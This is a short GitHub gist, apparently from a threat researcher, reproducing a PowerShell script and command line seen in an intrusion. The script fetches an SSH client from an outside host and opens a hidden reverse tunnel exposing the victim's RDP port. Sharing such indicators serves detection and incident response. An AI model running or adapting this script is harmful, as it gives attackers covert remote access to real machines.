Created
February 23, 2024 16:22
-
-
Save Purp1eW0lf/af7f39666433c2d6de709da7a81746ea to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#Script that initiated SSH | |
$r = "C:\ssh\" | |
$e = $r + "ssh.exe" | |
$g = "aqua.oops.wtf" | |
If (!(Test-Path $e)) { | |
md $r > $null | |
iwr -Uri ($g + "/z") -o ($r + "z.zip") | |
Expand-Archive ($r + "z.zip") -d $r | |
} | |
$args = @("tunnel@" + $g,"-Z lollersk8","-R " + $p + ":localhost:3389","-p 443", "-N","-oStrictHostKeyChecking=no -oUserKnownHostsFile=/dev/null") | |
(Start-Process -f $e -a $args -PassThru -WindowStyle Hidden).Id | |
``` | |
#final command run on a host | |
C:\ssh\ssh.exe" tunnel@aqua[.]oops.wtf -Z lollersk8 -R 9595:localhost:3389 -p 443 -N -oStrictHostKeyChecking=no -oUserKnownHostsFile=/dev/null |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment